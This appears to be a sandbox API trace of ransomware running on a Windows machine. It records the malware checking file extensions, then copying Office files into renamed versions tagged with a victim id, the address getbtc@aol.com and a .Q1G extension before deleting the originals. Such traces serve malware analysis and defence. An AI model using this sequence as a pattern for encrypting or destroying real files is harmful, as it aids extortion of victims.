[0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.464] lstrlenW (lpString=".1cd") returned 4 [0247.464] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.464] lstrlenW (lpString=".jpg") returned 4 [0247.464] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.464] lstrlenW (lpString=".doc") returned 4 [0247.464] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString=".docx") returned 5 [0247.464] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0247.464] lstrlenW (lpString=".pdf") returned 4 [0247.464] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString=".xls") returned 4 [0247.464] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString=".xlsx") returned 5 [0247.464] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0247.464] lstrlenW (lpString=".ppt") returned 4 [0247.464] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.465] lstrlenW (lpString=".zip") returned 4 [0247.465] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.465] lstrlenW (lpString=".rar") returned 4 [0247.465] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.465] lstrlenW (lpString=".bz2") returned 4 [0247.465] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.465] lstrlenW (lpString=".7z") returned 3 [0247.465] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.465] lstrlenW (lpString=".dbf") returned 4 [0247.465] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.465] lstrlenW (lpString=".1cd") returned 4 [0247.465] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.465] lstrlenW (lpString=".jpg") returned 4 [0247.465] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.465] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.465] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0247.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.540] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=35216) returned 1 [0247.540] CloseHandle (hObject=0x398) returned 1 [0247.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) returned 0x20 [0247.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.602] lstrlenW (lpString=".doc") returned 4 [0247.602] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.602] lstrlenW (lpString=".docx") returned 5 [0247.602] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0247.602] lstrlenW (lpString=".pdf") returned 4 [0247.602] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.602] lstrlenW (lpString=".xls") returned 4 [0247.602] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.602] lstrlenW (lpString=".xlsx") returned 5 [0247.602] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0247.602] lstrlenW (lpString=".ppt") returned 4 [0247.602] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.602] lstrlenW (lpString=".zip") returned 4 [0247.602] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.602] lstrlenW (lpString=".rar") returned 4 [0247.602] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.602] lstrlenW (lpString=".bz2") returned 4 [0247.602] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.602] lstrlenW (lpString=".7z") returned 3 [0247.602] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.603] lstrlenW (lpString=".dbf") returned 4 [0247.603] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.603] lstrlenW (lpString=".1cd") returned 4 [0247.603] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.603] lstrlenW (lpString=".jpg") returned 4 [0247.603] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.603] lstrlenW (lpString=".doc") returned 4 [0247.603] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString=".docx") returned 5 [0247.603] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0247.603] lstrlenW (lpString=".pdf") returned 4 [0247.603] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString=".xls") returned 4 [0247.603] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString=".xlsx") returned 5 [0247.603] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0247.603] lstrlenW (lpString=".ppt") returned 4 [0247.603] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.603] lstrlenW (lpString=".zip") returned 4 [0247.603] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString=".rar") returned 4 [0247.603] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.603] lstrlenW (lpString=".bz2") returned 4 [0247.603] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.604] lstrlenW (lpString=".7z") returned 3 [0247.604] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.604] lstrlenW (lpString=".dbf") returned 4 [0247.604] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.604] lstrlenW (lpString=".1cd") returned 4 [0247.604] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0247.604] lstrlenW (lpString=".jpg") returned 4 [0247.604] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.604] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.604] lstrlenW (lpString="DBENGR.VSL") returned 10 [0247.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.643] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=53144) returned 1 [0247.643] CloseHandle (hObject=0x3a0) returned 1 [0247.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20 [0247.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.648] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.648] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.650] GetLastError () returned 0x0 [0247.650] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xcf98, lpOverlapped=0x0) returned 1 [0247.661] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xcfa0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xcfa0, lpOverlapped=0x0) returned 1 [0247.663] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.663] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0247.663] SetEndOfFile (hFile=0x3bc) returned 1 [0247.663] CloseHandle (hObject=0x3bc) returned 1 [0247.663] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.663] SetEndOfFile (hFile=0x200) returned 1 [0247.666] CloseHandle (hObject=0x200) returned 1 [0247.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 1 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString=".doc") returned 4 [0247.667] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString=".docx") returned 5 [0247.667] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0247.667] lstrlenW (lpString=".pdf") returned 4 [0247.667] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString=".xls") returned 4 [0247.667] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.667] lstrlenW (lpString=".xlsx") returned 5 [0247.667] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0247.667] lstrlenW (lpString=".ppt") returned 4 [0247.667] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString=".zip") returned 4 [0247.667] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.667] lstrlenW (lpString=".rar") returned 4 [0247.667] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString=".bz2") returned 4 [0247.667] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString=".7z") returned 3 [0247.667] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString=".dbf") returned 4 [0247.667] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString=".1cd") returned 4 [0247.667] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString=".jpg") returned 4 [0247.667] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.667] lstrlenW (lpString=".doc") returned 4 [0247.668] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString=".docx") returned 5 [0247.668] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0247.668] lstrlenW (lpString=".pdf") returned 4 [0247.668] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString=".xls") returned 4 [0247.668] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.668] lstrlenW (lpString=".xlsx") returned 5 [0247.668] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0247.668] lstrlenW (lpString=".ppt") returned 4 [0247.668] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.668] lstrlenW (lpString=".zip") returned 4 [0247.668] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.668] lstrlenW (lpString=".rar") returned 4 [0247.668] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString=".bz2") returned 4 [0247.668] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString=".7z") returned 3 [0247.668] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.668] lstrlenW (lpString=".dbf") returned 4 [0247.668] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.668] lstrlenW (lpString=".1cd") returned 4 [0247.668] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0247.668] lstrlenW (lpString=".jpg") returned 4 [0247.668] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.668] lstrcmpiW (lpString1=".gta", lpString2=".Q1G") returned -1 [0247.668] lstrlenW (lpString="Discussion.gta") returned 14 [0247.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.676] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=104836) returned 1 [0247.676] CloseHandle (hObject=0x3a0) returned 1 [0247.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20 [0247.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.677] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.677] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.677] GetLastError () returned 0x0 [0247.677] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x19984, lpOverlapped=0x0) returned 1 [0247.682] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x19990, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x19990, lpOverlapped=0x0) returned 1 [0247.684] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.684] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0247.684] SetEndOfFile (hFile=0x3c0) returned 1 [0247.684] CloseHandle (hObject=0x3c0) returned 1 [0247.684] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.684] SetEndOfFile (hFile=0x3a0) returned 1 [0247.688] CloseHandle (hObject=0x3a0) returned 1 [0247.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 1 [0247.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.690] lstrlenW (lpString=".doc") returned 4 [0247.690] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0247.690] lstrlenW (lpString=".docx") returned 5 [0247.690] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0247.690] lstrlenW (lpString=".pdf") returned 4 [0247.690] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0247.690] lstrlenW (lpString=".xls") returned 4 [0247.690] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0247.690] lstrlenW (lpString=".xlsx") returned 5 [0247.690] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0247.690] lstrlenW (lpString=".ppt") returned 4 [0247.691] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString=".zip") returned 4 [0247.691] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString=".rar") returned 4 [0247.691] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString=".bz2") returned 4 [0247.691] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0247.691] lstrlenW (lpString=".7z") returned 3 [0247.691] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString=".dbf") returned 4 [0247.691] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString=".1cd") returned 4 [0247.691] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString=".jpg") returned 4 [0247.691] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString=".doc") returned 4 [0247.691] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0247.691] lstrlenW (lpString=".docx") returned 5 [0247.691] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0247.691] lstrlenW (lpString=".pdf") returned 4 [0247.691] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString=".xls") returned 4 [0247.691] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString=".xlsx") returned 5 [0247.691] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0247.691] lstrlenW (lpString=".ppt") returned 4 [0247.691] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.691] lstrlenW (lpString=".zip") returned 4 [0247.691] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0247.691] lstrlenW (lpString=".rar") returned 4 [0247.692] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0247.692] lstrlenW (lpString=".bz2") returned 4 [0247.692] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0247.692] lstrlenW (lpString=".7z") returned 3 [0247.692] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.692] lstrlenW (lpString=".dbf") returned 4 [0247.692] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.692] lstrlenW (lpString=".1cd") returned 4 [0247.692] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0247.692] lstrlenW (lpString=".jpg") returned 4 [0247.692] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0247.692] lstrcmpiW (lpString1=".gta", lpString2=".Q1G") returned -1 [0247.692] lstrlenW (lpString="Discussion14.gta") returned 16 [0247.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.692] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=362441) returned 1 [0247.692] CloseHandle (hObject=0x3a0) returned 1 [0247.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0247.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.693] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) 